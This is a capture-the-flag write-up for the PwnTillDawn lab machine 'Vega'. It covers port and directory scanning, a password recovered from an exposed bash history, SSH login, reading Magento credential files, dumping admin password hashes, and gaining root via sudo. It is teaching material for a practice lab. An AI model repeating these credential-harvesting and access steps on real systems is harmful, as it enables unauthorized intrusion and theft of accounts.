Credits

```
https://www.wizlynxgroup.com/
https://online.pwntilldawn.com/
```

Machine details.

```
Vega : 10.150.150.222
```

Enumeration.

Masscan results.

```
┌─[✗]─[user@parrot]─[~]
└──╼ $sudo masscan -e tun0 -p1-65535 10.150.150.222 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-10-27 15:19:11 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 22/tcp on 10.150.150.222
Discovered open port 8089/tcp on 10.150.150.222
Discovered open port 80/tcp on 10.150.150.222
Discovered open port 10000/tcp on 10.150.150.222
┌─[user@parrot]─[~]
└──╼ $
```

Nmap tcp scan

```
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 af:56:59:c5:9a:de:f4:a9:b7:8f:34:4b:a2:21:24:71 (RSA)
|   256 1b:e8:16:d4:dc:a6:7a:3e:5d:6f:f2:95:5a:59:08:9a (ECDSA)
|_  256 9c:35:dd:da:ee:a9:b4:0b:55:68:45:fd:8f:85:35:30 (ED25519)
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home Page
|_http-favicon: Unknown favicon MD5: 643D3106699AA425269DBE0BB7768440
8089/tcp  open  ssl/http Splunkd httpd
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer:
commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-10-25T09:19:54
| Not valid after:  2022-10-24T09:19:54
| MD5:   536b fb1f 1fc1 e54d 822f b12d 650d 734a
|_SHA-1: e879 2227 39ad 966f aa5b 26a1 4701 cef0 06b5 2a5c
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: splunkd
10000/tcp open  http     MiniServ 1.941 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 7EFDCFA0F0F7B6D238CC297C038144D4
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
NSE: Script Post-scanning.
Initiating NSE at 23:28
Completed NSE at 23:28, 0.00s elapsed
Initiating NSE at 23:28
Completed NSE at 23:28, 0.00s elapsed
Initiating NSE at 23:28
Completed NSE at 23:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.12 seconds
┌─[user@parrot]─[~]
└──╼ $nmap -sC -sV -p22,80,8089,10000 -sC -sV -v 10.150.150.222
```

Dirb scan.

From the dirb scan alone, I know that something's not right.

```
┌─[✗]─[user@parrot]─[~]
└──╼ $dirb http://10.150.150.222

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Wed Oct 27 23:40:53 2021
URL_BASE: http://10.150.150.222/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.150.150.222/ ----
+ http://10.150.150.222/.bash_history (CODE:200|SIZE:2235)
+ http://10.150.150.222/.bashrc (CODE:200|SIZE:3771)
==> DIRECTORY: http://10.150.150.222/.cache/
+ http://10.150.150.222/.profile (CODE:200|SIZE:807)
```

Bash history.

Look at the password from the mysqldump command.

```
http://10.150.150.222/.bash_history
```

```
history
sudo apt-get update && apt-get upgrade -y
sudo apt install apache2
sudo systemctl enable apache2
sudo apt install mariadb-server
sudo a2enmod rewrite
sudo nano /etc/apache2/sites-available/magento2.example.com.conf
sudo a2dissite 000-default.conf
flag40=3e11129fe2d30563999cd1d5602a1f7eb90e2176
sudo systemctl reload apache2
sudo a2ensite magento2.example.com.conf
sudo systemctl reload apache2
cd /tmp/
cd logstalgia-1.0.3/
./configure
sudo passwd root
apt-get install libsdl1.2-dev libsdl-image1.2-dev libpcre3-dev libftgl-dev libpng12-dev
libjpeg62-dev make gcc
./configure
make
apt-get install libsdl1.2-dev libsdl-image1.2-dev libpcre3-dev libftgl-dev libpng12-dev
libjpeg62-dev make gcc++
apt-get install libsdl1.2-dev libsdl-image1.2-dev libpcre3-dev libftgl-dev libpng12-dev
libjpeg62-dev make gcc
apt-get install make
```

```
mysql -u root -p
apt-get install grsync
apt-get install unison
unisonsudo systemctl restart apache2
ping 1.1.1.1
ping 8.8.8.8
sudo apt install software-properties-common
sudo apt-key adv --recv-keys --keyserver hkp://keyserver.ubuntu.com:80 0xF1656F24C74CD1D8
sudo add-apt-repository 'deb http://mirrors.coreix.net/mariadb/repo/10.2/ubuntu xenial main'
sudo apt update
echo FLAG40=3e11129fe2d30563999cd1d5602a1f7eb90e2176
sudo apt install mariadb-server -y
netstat -np | grep 22
mysql -u root -p
mysql -u magento -p
sudo apt install php7.0 php7.0-curl php7.0-mysql libapache2-mod-php7.0
sudo nano  /etc/php/7.2/cli/php.ini
ipconfig
ifconfig
sudo nano  /etc/php/7.2/apache2/php.ini
sudo nano /etc/apache2/sites-available/magento2.example.com.conf
sudo crontab -u vega -e
sudo systemctl restart apache2
sudo cat /var/log/apache2/error.log
sudo chown -R www-data:www-data .
sudo nano /etc/apache2/sites-available/magento2.example.com.conf
sudo /etc/init.d/apache2 restart
sudo nano /etc/apt/sources.list
cd /tmp/
wget http://www.webmin.com/jcameron-key.asc
sudo systemctl reload apache2
cd /tmp/
cd logstalgia-1.0.3/
./configure
cd /home/vega
ls -lah
ifconfig
sudo passwd rootsudo apt-key add jcameron-key.asc
sudo apt update
sudo apt install webmin
cd ..
history
mysqldump -u vega --password=puplfiction1994 magento2 > dumpmagento.sql
cd /home/vega
ls -lah
ll
sudo su
cd /root/
nano CAM.shortcut
```

Foothold

Based on the password given, it seems that vega typed his password wrongly. As such, just need to correct the typo and I can login as vega successfully.

```
username: vega
password: pulpfiction1994

┌─[✗]─[user@parrot]─[~]
└──╼ $!!
ssh vega@10.150.150.222
vega@10.150.150.222's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-66-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
```

```
  System information as of Wed Oct 27 16:21:26 UTC 2021

  System load:  0.35               Processes:            186
  Usage of /:   43.3% of 19.56GB   Users logged in:      1
  Memory usage: 24%                IP address for ens33: 10.150.150.222
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

51 packages can be updated.
31 updates are security updates.


Last login: Tue Apr 21 10:11:55 2020
vega@vega:~$
```

Flag41.

```
vega@vega:~$ cat FLAG41.txt
91061fbccf2238f04fff4d0553732616b98bcd54
vega@vega:~$
```

Gathering creds.

```
vega@vega:~$ find . -type f -name *env.php 2> /dev/null
./app/etc/env.php
./update/dev/tests/integration/tmp/magento/app/etc/env.php
./dev/tests/integration/testsuite/Magento/Config/_files/env.php
./dev/tests/integration/testsuite/Magento/Framework/Console/_files/env.php
./vendor/symfony/dependency-injection/Tests/Fixtures/php/services_url_env.php
./vendor/symfony/dependency-injection/Tests/Fixtures/php/services_rot13_env.php
./vendor/symfony/dependency-injection/Tests/Fixtures/php/services_json_env.php
./vendor/symfony/dependency-injection/Tests/Fixtures/php/services_query_string_env.php
./vendor/symfony/dependency-injection/Tests/Fixtures/php/services_base64_env.php
./vendor/symfony/dependency-injection/Tests/Fixtures/php/services_default_env.php
./vendor/symfony/dependency-injection/Tests/Fixtures/php/services_csv_env.php
./vendor/vlucas/phpdotenv/src/Dotenv.php
./vendor/magento/framework/App/Test/Unit/DeploymentConfig/_files/env.php
./vendor/magento/magento2-base/dev/tests/integration/testsuite/Magento/Config/_files/env.php
./vendor/magento/magento2-
base/dev/tests/integration/testsuite/Magento/Framework/Console/_files/env.php
vega@vega:~$
```

DB password.

```
vega@vega:~$ cat ./app/etc/env.php
<?php
return [
    'backend' => [
        'frontName' => 'admin'
    ],
    'crypt' => [
        'key' => 'cf7abe5f9a59be8effd1c6be16bb910e'
    ],
    'db' => [
        'table_prefix' => '',
        'connection' => [
            'default' => [
                'host' => '127.0.0.1',
                'dbname' => 'magento2',
                'username' => 'magento',
                'password' => 'magento',
                'active' => '1'
            ]
        ]
    ],
SNIPPED
```

Creds from magento2 DB.

```
+----------------------+----------+-------------------------------------------------------------
------------------------+
| email                | username | password
|
+----------------------+----------+-------------------------------------------------------------
------------------------+
| vega@pwntilldawn.com | vega     |
76455da64a6baf0c64b9af1c4e624bcee133a9634f5548a439d694abf11fdc3a:nINQcGEEZXw9AUdJ:2 |
+----------------------+----------+-------------------------------------------------------------
------------------------+
1 row in set (0.00 sec)

MariaDB [magento2]>
```

```
MariaDB [magento2]> select password_id,user_id,password_hash from admin_passwords;
+-------------+---------+-----------------------------------------------------------------------
--------------+
| password_id | user_id | password_hash
|
+-------------+---------+-----------------------------------------------------------------------
--------------+
|           1 |       1 |
4fd304d2ec509296415dcc7aaf8ded029f26e63c141680ca895d9e3b19f253cf:tLMTRiU0gUN77vms:2 |
|           2 |       1 |
76455da64a6baf0c64b9af1c4e624bcee133a9634f5548a439d694abf11fdc3a:nINQcGEEZXw9AUdJ:2 |
+-------------+---------+-----------------------------------------------------------------------
--------------+
2 rows in set (0.00 sec)
```

Privilege Escalation.

Checking apache config file.

```
vega@vega:/etc/apache2/sites-enabled$ cat magento2.example.com.conf
<VirtualHost *:80>
   ServerAdmin webmaster@localhost
   DocumentRoot /home/vega/
   ErrorLog /home/vega/error.log
   CustomLog /home/vega/access.log combined
   <Directory /home/vega/>
      Options Indexes FollowSymLinks MultiViews
      AllowOverride All
      Require all granted
      Order Deny,Allow
      Allow from all
   </Directory>
</VirtualHost>
vega@vega:/etc/apache2/sites-enabled$
```

Checking network connections.

```
vega@vega:/etc/apache2/sites-enabled$ ss -ntlp
State       Recv-Q       Send-Q                Local Address:Port                Peer
Address:Port
LISTEN      0            80                        127.0.0.1:3306                     0.0.0.0:*
LISTEN      0            128                         0.0.0.0:10000                    0.0.0.0:*
LISTEN      0            128                   127.0.0.53%lo:53                       0.0.0.0:*
LISTEN      0            128                         0.0.0.0:22                       0.0.0.0:*
LISTEN      0            128                         0.0.0.0:8089                     0.0.0.0:*
LISTEN      0            128                                *:80                                *:*
LISTEN      0            128                             [::]:22                             [::]:*
vega@vega:/etc/apache2/sites-enabled$
```

Checking’s vega id.

```
vega@vega:/etc/webmin$ id
uid=1000(vega) gid=1000(vega)
groups=1000(vega),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
```

Checking vega’s sudo privileges.

```
vega@vega:/etc/webmin$ sudo -l
[sudo] password for vega:
Matching Defaults entries for vega on vega:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vega may run the following commands on vega:
    (ALL : ALL) ALL
vega@vega:/etc/webmin$
```

Escalate privileges via sudo su. Read FLAG42.

```
root@vega:~# ls -Flah
total 60K
drwx------  7 root root 4.0K May 14  2020 ./
drwxr-xr-x 24 root root 4.0K Oct 23  2019 ../
-rw-------  1 root root 2.5K Apr 21  2020 .bash_history
-rw-r--r--  1 root root 3.1K Apr  9  2018 .bashrc
-rw-r--r--  1 root root  115 May 14  2020 CAM.shortcut
drwxr-xr-x  2 root root 4.0K Sep  6  2019 .composer/
-rw-r--r--  1 root root   41 Sep 27  2019 FLAG42.txt
drwx------  3 root root 4.0K Oct  4  2019 .gnupg/
drwxr-xr-x  3 root root 4.0K Sep  6  2019 .local/
-rw-------  1 root root  651 Apr  2  2020 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Sep  6  2019 .selected_editor
drwx--x---  2 root root 4.0K Oct 25  2019 .splunk/
drwx------  2 root root 4.0K Sep  6  2019 .ssh/
-rw-------  1 root root 2.1K Sep 27  2019 .viminfo
root@vega:~# cat FLAG42.txt
95beef4e71ae3a503282ac54acb6d9cdc547f8c8
root@vega:~#
```

root’s bash history.

```
root@vega:~# cat .bash_history
history
exit
apt-get update && apt-get upgrade -y
ls
nano FLAG41.txt
exit
cd /root/
ls
nano FLAG42.txt
exit
cd /root/
ls
nano CAM.shortcut
cat CAM.shortcut
nano .bash_history
vi .bash_history
sudo su
cd /root/
las
ls
```

```
cat CAM.shortcut
ls
exit
ls
ls /etc/net
ls /etc/netplan/
cat /etc/netplan/50-cloud-init.yaml
nano /etc/netplan/50-cloud-init.yaml
sudo netplan apply
nano /etc/netplan/50-cloud-init.yaml
sudo netplan apply
nano /etc/netplan/50-cloud-init.yaml
sudo netplan apply
nano /etc/netplan/50-cloud-init.yaml
sudo netplan apply
nano /etc/netplan/50-cloud-init.yaml
sudo netplan apply
nano /etc/netplan/50-cloud-init.yaml
sudo netplan apply
ls
nano /etc/netplan/50-cloud-init.yaml
/etc/init.d/ssh start
sudo netplan apply
ifconfig
exit
nano /etc/netplan/50-cloud-init.yaml
sudo netplan apply
ifconfig
history
nano /etc/netplan/50-cloud-init.yaml
sudo netplan apply
nano /etc/netplan/50-cloud-init.yaml
sudo netplan apply
nano /etc/netplan/50-cloud-init.yaml
sudo netplan apply
nano /etc/netplan/50-cloud-init.yaml
sudo netplan apply
df -h
apt-get update && apt-get upgrade -y
reboot
mysql -u magento -p magento2
exit
/etc/init.d/apache2 restart
reboot
ls
cd var/
ls
cd cache/
ls
rm -R *
ifconfig
crontab -e
df -h
crontab -e
ls /home/vega/var/log/update.log
ls- lah /home/vega/var/log/update.log
ls -lah /home/vega/var/log/update.log
crontab -e
ls -lah /home/vega/var/log/update.log
ls
cd /root/
ls
exit
cd /tmp/
ls
dpkg -i splunkforwarder-8.0.0-1357bef0a7f6-linux-2.6-amd64.deb
rm splunkforwarder-8.0.0-1357bef0a7f6-linux-2.6-amd64.deb
cd /opt/splunkforwarder/bin/
sudo ./splunk enable boot-start
sudo service splunk start
sudo /opt/splunkforwarder/bin/splunk add forward-server 192.168.3.16:9997
cd /var/log/
ls
cd /var/log/
ls
sudo /opt/splunkforwarder/bin/splunk add monitor /var/log/apache2 -index main -sourcetype
Apache2
sudo /opt/splunkforwarder/bin/splunk add monitor /var/log/auth.log -index main -sourcetype Auth
timedatectl set-timezone UTC
date
exit
ifconfig
nano /etc/netplan/50-cloud-init.yaml
netplan apply
ifconfig
netstat -nr
nano /etc/netplan/50-cloud-init.yaml
netplan apply
netstat -nr
nano /etc/netplan/50-cloud-init.yaml
history
history | more
mysql -u magento -p magento2
reboot
nano /etc/netplan/50-cloud-init.yaml
netplan apply
/etc/init.d/apache2 restart
mysql -u magento -p magento2
history | more
exit
reboot
rm -R *
ls
/etc/init.d/apache2 restart
exit
crontab -e
rm -rf /home/vega/var/log/update.log
df -h
exit
apt-get update && apt-get upgrade -y
reboot
```

Relationship with other machines.

```
root@vega:~# cat CAM.shortcut
URL: http://10.150.150.250

Notes: Do not forget the cam is only reachable from this jumpstation and another one.

root@vega:~#
```